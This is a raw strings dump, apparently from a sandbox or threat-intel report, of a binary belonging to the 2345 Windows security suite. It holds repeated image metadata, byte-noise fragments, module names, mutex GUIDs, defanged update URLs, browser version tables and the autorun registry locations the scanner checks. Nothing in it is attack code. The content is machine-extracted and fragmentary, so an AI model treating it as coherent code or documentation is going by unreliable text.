" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:2BF3AAE05B6811E4B4EDFB52F2DFABE5" xmpMM:InstanceID="xmp.iid:2BF3AADF5B6811E4B4EDFB52F2DFABE5" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f27ac93b-4e8e-714d-8025-6b95f1e71870" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>8
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:2D3041DE5B6811E4B4EDFB52F2DFABE5" xmpMM:InstanceID="xmp.iid:2D3041DD5B6811E4B4EDFB52F2DFABE5" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f27ac93b-4e8e-714d-8025-6b95f1e71870" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:2D3041E25B6811E4B4EDFB52F2DFABE5" xmpMM:InstanceID="xmp.iid:2D3041E15B6811E4B4EDFB52F2DFABE5" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f27ac93b-4e8e-714d-8025-6b95f1e71870" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>tP
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:2D3041E65B6811E4B4EDFB52F2DFABE5" xmpMM:InstanceID="xmp.iid:2D3041E55B6811E4B4EDFB52F2DFABE5" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f27ac93b-4e8e-714d-8025-6b95f1e71870" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:D366C66D5BF111E39D25FA4C498F1C5F" xmpMM:InstanceID="xmp.iid:D366C66C5BF111E39D25FA4C498F1C5F" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8394de32-09ec-ff46-a7a2-a378f9c46a90" stRef:documentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>oaf
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:caefc256-e5ca-c142-aca0-9a4b394e16ad" xmpMM:DocumentID="xmp.did:C8DA46F9840111E48A2FA3224040C705" xmpMM:InstanceID="xmp.iid:C8DA46F8840111E48A2FA3224040C705" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3acd6d02-e86f-2849-8526-9ad5fcaab5ce" stRef:documentID="xmp.did:caefc256-e5ca-c142-aca0-9a4b394e16ad"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
I%X{zz
3%fQ#{
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:caefc256-e5ca-c142-aca0-9a4b394e16ad" xmpMM:DocumentID="xmp.did:1BA2A64A801E11E4A059C665E288D714" xmpMM:InstanceID="xmp.iid:1BA2A649801E11E4A059C665E288D714" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8aeeb0aa-57da-5f42-834c-cb44755beaf1" stRef:documentID="xmp.did:caefc256-e5ca-c142-aca0-9a4b394e16ad"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>X
^$.hA
u.Zcu
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:55AB809176BF11E49938930E46C7392D" xmpMM:InstanceID="xmp.iid:55AB809076BF11E49938930E46C7392D" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:52b003ce-d4f5-9b42-86df-a4b450f8819b" stRef:documentID="xmp.did:FB9EC187F08511E3B994DB3477BD8702"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
YiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="8156315948754DBB3CE57E5F5CA9FC13" xmpMM:DocumentID="xmp.did:138EDFEE79D611E4BC87BBC35D7CBDE7" xmpMM:InstanceID="xmp.iid:138EDFED79D611E4BC87BBC35D7CBDE7" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:c4b3d069-9dbb-a942-9b75-de9641da625a" stRef:documentID="8156315948754DBB3CE57E5F5CA9FC13"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:caefc256-e5ca-c142-aca0-9a4b394e16ad" xmpMM:DocumentID="xmp.did:507BEC75748611E498F6F081BE7165EC" xmpMM:InstanceID="xmp.iid:507BEC74748611E498F6F081BE7165EC" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:74d14d70-7630-6440-afe2-01f8fcd3e172" stRef:documentID="xmp.did:caefc256-e5ca-c142-aca0-9a4b394e16ad"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:caefc256-e5ca-c142-aca0-9a4b394e16ad" xmpMM:DocumentID="xmp.did:28269AE979D711E4BA9BD2894144B7A3" xmpMM:InstanceID="xmp.iid:28269AE879D711E4BA9BD2894144B7A3" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f259a582-89c8-5e48-ad08-cec2467093ea" stRef:documentID="xmp.did:caefc256-e5ca-c142-aca0-9a4b394e16ad"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
`.Dq1
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:caefc256-e5ca-c142-aca0-9a4b394e16ad" xmpMM:DocumentID="xmp.did:B1A343CA3C7911E494C199823AF29CFF" xmpMM:InstanceID="xmp.iid:B1A343C93C7911E494C199823AF29CFF" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:CAE38F573A5111E4B6778B4D1D076834" stRef:documentID="xmp.did:CAE38F583A5111E4B6778B4D1D076834"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>%9
dU%u\q
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmpMM:InstanceID="xmp.iid:CFE9757573BF11E49A859936E8858723" xmpMM:DocumentID="xmp.did:CFE9757673BF11E49A859936E8858723"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:CFE9757373BF11E49A859936E8858723" stRef:documentID="xmp.did:CFE9757473BF11E49A859936E8858723"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
<text id="1002" font="0004" crtext="50AD21" pos="-70,10">
<text font="0000" crtext="4C4C4C" textmode="20" pos="18,18">
aiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="AA24DCA7FF00301CD15A899D8D79F13A" xmpMM:DocumentID="xmp.did:BBBC2E4580FA11E4B2E2E1073572CC8D" xmpMM:InstanceID="xmp.iid:BBBC2E4480FA11E4B2E2E1073572CC8D" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9fd3d54b-831c-3e4d-ab70-fcab6d2516de" stRef:documentID="xmp.did:161E850B793B11E4ABB098C1C0E5E911"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>*
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:961324779C5B11E49468974BF6245A44" xmpMM:InstanceID="xmp.iid:961324769C5B11E49468974BF6245A44" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:85d08950-2461-3d4d-8552-589b08660a0a" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>N
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
<assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*' />
2/2U2
7%7;7@78T8
3=3V3h3
6(7-7R7g7}7
4%5s5
4%4s4
0 0-050:0?0
7 7$7(7,798
2%3S3X3
9“9D9K9X9_9
3#3(383=3
=&>3>&?5?[?
? ?)?/?:?^?
<.<8<.=8=
1 1$1(1,1!6
0.080\0|1
4 4$4(4,4
2$2)212^2
>0?4?8?<?
6(7,70747
1!1)1@1{1
11191?1_1
3'4>4^4~4
6v7%8X8
2/2R2j2u2
1 1$1(1,1|1
? ?$?4?@?
9(9,9094989
; ;$;(;,;0;
< <$<(<,<0<4<
(1,1014181<1
? ?$?(?,?0?4?8?<?
; ;$;(;,;0;4;8;<;@;
4$4,484@4`4|4
kispublic.dll
{4978626F-2836-4256-99BB-CB9CD7567EE1}oem
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_CLASSES_ROOT
HKEY_USERS
HKEY_LOCAL_MACHINE
HKEY_CURRENT_USER
%CSIDL_DESKTOPDIRECTORY%
%systemroot%
%CSIDL_LOCAL_APPDATA%\Microsoft
%CSIDL_LOCAL_APPDATA%\Identities
%CSIDL_LOCAL_APPDATA%\VirtualStore
%CSIDL_PERSONAL%\Tencent
%CSIDL_PERSONAL%\Tencent Files
trash.dat
@Kernel32.dll
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Archive Files
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Queue Files
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Archive Files
%systemarchivefiles%
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Queue Files
%systemqueuefiles%
CSIDL_WINDOWS
A2345SafeUpdate.dll
2345SafeDB.dll
uxtheme.dll
]custommsgokbtn
custommsgcancelbtn
<text pos="0,%d">%s</text>
%d,%d
0,%d,-0,%d
@%s\%d.%s
B%str
@2345SafeHotfix.dll
2345SafeExam.dll
2345SafeOptimize.dll
2345SafeGarbage.dll
A2345MPCSafe.exe
Global\RC_SAFE_C9E4D196-70CA-491a-8692-C1851541322D
{4D064614-2F30-495c-9EE6-3B8AD2A60CB8}
Global\RC_SAFE_657DB379-1DC9-46c6-BEEF-CAC910B3B1A3
2345SafeNotify.exe
msvcr110.dll
msvcp110.dll
Global\RC_SAFE_3108D837-F273-4ccd-956B-F2F556F524FC
hXXp://update.pcsafe.2345.com/
dbupdate/check.php
update.pcsafe.2345.com
index.php
B2345SafeSvc.exe
Global\RC_SAFE_43E38090-DFF9-487f-8587-E7B83975DBF9
RICHED20.DLL
2345RTProtect.exe
Global\RC_SAFE_CF5C3CE9-287D-4918-8B85-ED50DCE5A322
%s\%d.bmp
HKEY_PERFORMANCE_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
Advapi32.dll
Bmsimg32.dll
hXXp://ruanjian.2345.com/guanjia/?ws
hXXp://safe.2345.com
Global\RC_SAFE_67ABA0B5-3318-4637-8B0D-F2CEDDD2A6B1
Global\RC_SAFE_44C00F5A-1B33-40f5-8AEC-0B057933FD74
Global\RC_SAFE_87C725E1-AF00-4A20-A158-CEFDA7D5B627
Global\RC_SOFT_351C46F7-B3D7-46CC-B287-7D8B462AE61D
hXXp://bbs.2345.cn/forumdisplay.php?fid=17&f=2345index#quickpost
2345pcsafe_official.exe
2345softmgr_setup.exe
Global\RC_SAFE_CD464C0F-D7A9-429F-86ED-B255937406FB
\KSafeTray.exe" -autorun
Software\Microsoft\Windows\CurrentVersion\Run
Kernel32.DLL
%d_%d_%d_%d_%d_%d_
debug.log
%Y-%m-%d %H:%M:%S
netmon.log
old_netmon.log
{D5551A46-BFB0-4fd6-A280-EBD7AAD4397E}_flow
Global\6F6B07A7-30DA-4049-9E51-6124F8D51002
Global\88C620CF-5D6D-4873-8673-D85BA2499B05
{990CC23C-6E4D-4be7-9E2D-F5791768B038}_flow
mpcsafe.ini
Global\{65A984EB-65DB-427a-8E68-EEBF7019A902}
Global\{C82DA7CB-6CEE-4090-ACF3-D94A90F03866}
Global\{E14400C9-7FE9-4cb4-B7B9-DD64632C2109}
Global\{1092D32F-A246-42b0-AEB5-2EFB5EA46607}
Global\{7E6CCD5C-E23D-4821-84BE-19E06BA8FE43}
Global\{46C70B52-2E14-44de-916A-FEC7815919ED}
kpcfileopen.exe
hotfix.ini
safeweb
iefixcfg.ini
JoinSkylark
scansetting.ini
2345safe.ini
2345softmgr.ini
Apassword
port
0%0.2f%s
l%d-%d-%d
00:00:00
150,10,-220,30
165,14,-220,34
165,10,-220,30
0,%d,-0,-0
Fu:u:u
MSACCESS.EXE
MSEXCEL.EXE
EXCEL.EXE
POWERPNT.EXE
WINWORD.EXE
OUTLOOK.EXE
INFOPATH.EXE
MSPUB.EXE
VISIO.EXE
@cleanmgr.exe
Akernel32.dll
Gd-d-d d:d:d
2013-02-26
KB%d-%s
Html files(*.html)
*.html
All files(*.*)
2345safevul.html
{6943C7A7-01D2-413f-B21B-395EA33AB95E}
Global\RC_SAFE_5F05071B-8F62-442e-BCD1-2E4ECE7369E2
o.scr
\StringFileInfo\XX\
optimize.ini
2345BrowserDl.exe
2345Explorer.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe
\360safe.exe
n\winhttp.dll
l\wininet.dll
\\?\UNC\
psapi.dll
wintrust.dll
exam.ini
2345SafeUtils.exe
bksafeexamcall.cpp
ZGlobal\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_GLOBALDATA_INITIAL
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_GLOBALDATA_MUTEX
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_FILE_MAPPING_MUTEX
CallStartGlobalData %s
..\ScanCommon\RCGlobalDataCtrl.cpp
CreateGlobalDataMutex %s
ShowQuarantine %d
ShowTrust %d
RC::RCRTProtectCtrl::DirectStart
RCRTProtectCtrl.cpp
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_RTPROTECT_MUTEX
RC::RCRTProtectTool::CreateRTMutex
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_RTPROTECT_INITIALEVENT
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_RTPROTECT_SHOWEVENT
dbghelp.dll
rpcrt4.dll
%s\%s.dmp
tx-x-x-xx-xxxxxx
ntoskrnl.exe
SYSTEM\CurrentControlSet\Control\Windows
DoParseLinkFile linkFile = %s, workingDir = %s
RCShellUtils.cpp
Msi.dll
originalPath = %s
retPath = %s
xxxxxxxxxxxxxxxx
advapi32.dll
RCShareRestrictedSD.cpp
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_FILE_MAPPING
Create File Mapping %s
Create file mapping failed with %d
Frame\RCGlobalCtrl.cpp
File Mapping count    %d
mapping failed with %d
GetAddress failed with %d
File Mapping count = %d
RC::RCGlobalCtrlImpl::Init::<lambda_e799d70cdef66da47f300a71ba33714c>::operator ()
RC::RCGlobalCtrlImpl::UnInit::<lambda_1822cdb7c91ce1fd4feaeab3a1b28022>::operator ()
File Mapping count -- %d
Open File Mapping %s
Mapping failed with %d
Open File Mapping failed with %d
Registe item = %s
RCServiceUtils.cpp
%d.%d.%d.%d
Coral-{9BB4EBA7-26A1-41de-AE0C-95467A1AED6F}
2345Log.ini
2345AvScan\2345Log.ini
[%s %s] >> %s [%s] %s << [%s(%d)][%s %d]
Global\RC_SAFE_27A27F4E-E95D-41b5-8EA1-96B43E0F3BF3
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\
iexplore.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%s
Mozilla Firefox
maxthon.exe
liebao.exe
SOFTWARE\%sMicrosoft\Windows\CurrentVersion\Uninstall\%s
2345chrome
2345AvScan.exe
2345AvScan.dll
RCGuardUtils.cpp
Uninstall.exe
2345SoftMgr.exe
SetMainWnd %x
SetScanFileName %d %s
Global\RC_SAFE_AC8104D0-BA8C-4A18-A7D7-A0730306A993
SetEventName %d %s
GetScanFileName %d %s
GetEventName %d %s
Read scan file %s event %s
Read scan file error %d
Applications\iexplore.exe\shell\open\command
Data\bwinfo.dat
Coral.exe
2.1.0.8412
2.0.0.7758
5.1.0.13310
2.2.0.8412
2345chrome.exe
1.0.0.198
2.4.0.3115
2.3.0.2200
2.5.0.4435
6.0.2900.5512
"%1",,-1,0,,,,
IE.AssocFile.MHT
10.100.9600.16384
11.10.9600.16384
11.0.0.0
Chrome
IE.FTP
ChromeHTML
chrome.exe
33.0.1750.154
Google Chrome
39.0.2171.99
FirefoxHTML
firefox.exe
-osint -url "%1"
Firefox
33.0.0.5397
31.0.0.5310
35.0.1.0
FirefoxURL
QQBrowser.exe
QQBrowser.Protocol
8.0.1374.400
7.6.19751.400
8.0.3197.400
Max3.Association.HTML
Maxthon.exe
4.4.3.4000
3.5.2.1000
Liebao.URL
5.1.71.8878
4.7.54.8107
5.2.82.9484
360seURL
360se.exe
{23F3F476-BE34-4f48-9C77-2806A8393EC4}
6.3.1.190
5.1.9.6
7.2.0.114
360ChromeURL
360chrome.exe
7.5.0.238
360Chrome
8.2.0.176
SogouExplorer.exe
5.0.10.14122
5.2.5.15824
baidubrowser.exe
BaiduBrowser.EXE
6.5.5.77
6.0.0.14122
7.0.200.157
BaiduBrowser.File
7.0.300.248
7.0.200.164
8.0.200.164
UCBrowser.exe
2.5.0.3403
4.0.3647.0
TheWorld.exe
6.2.0.128
7.2.0.128
TheWorldChromeURL
twchrome.exe
TheWorld Chrome
4.3.0.102
2345.com
hXXp://support.microsoft.com/kb/%d
\ntoskrnl.exe
%SystemRoot%\System32\cryptsvc.dll
%SystemRoot%\system32\svchost.exe -k netsvcs
(Key)
%SystemRoot%\system32\svchost.exe -k NetworkService
@%SystemRoot%\system32\cryptsvc.dll,-1001
@%SystemRoot%\system32\cryptsvc.dll,-1002
WINDOWS
CLSID\%s\InprocServer32
%s\Microsoft Shared\OFFICE%d
Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
SOFTWARE\Microsoft\Office\%d.0\Visio\InstallRoot
SOFTWARE\Microsoft\Office\%d.0\Common\InstallRoot
RCSafeScanCtrl.cpp
%Program Files%
C:\Drivers
scanType = %d, enumed = %d, scanSubType = %d, file = %s
scanType = %d, is enumed
scanType = %d, total = %d, scanItem = %s, scanSubItem = %s
Drop one result %d
scanType = %d, total = %d, current = %d, taskid = %d, scanItem = %s, scanSubItem = %s, level = %d
ShowType = %d, From Status = %d to %d
2345AvScan.history
ZThread id = %x
RCAvFileScan.cpp
Got task event %d of %d
2345.test.black.list
2345TestBlackList.exe
Start to calc MD5 for %s
Time spend %d
CalcFileMD5 %s failed
Calc MD5 %s
RCAvFileScan::AddFileQueryTask execption
Add File Query Task %d
miss one call back id = %d
taskid = %d complted with level = %d
task id = %d is timeout
RCAvScanFiles.cpp
RCAvEnumLocalFile.cpp
Z.cmd
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers
SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved
SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
SOFTWARE\Microsoft\Internet Explorer\URLSearchHooks
Software\Microsoft\Windows\CurrentVersion\Ext\Stats
System\CurrentControlSet\Control\Lsa\AccessProviders\Windows NT Access Provider
System\CurrentControlSet\Services\Tcpip\Parameters\Winsock
System\CurrentControlSet\Services\Tcpip6\Parameters\Winsock
cmdline
wowcmdline
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\Terminal Server\RDP
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\System
Scrnsave.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
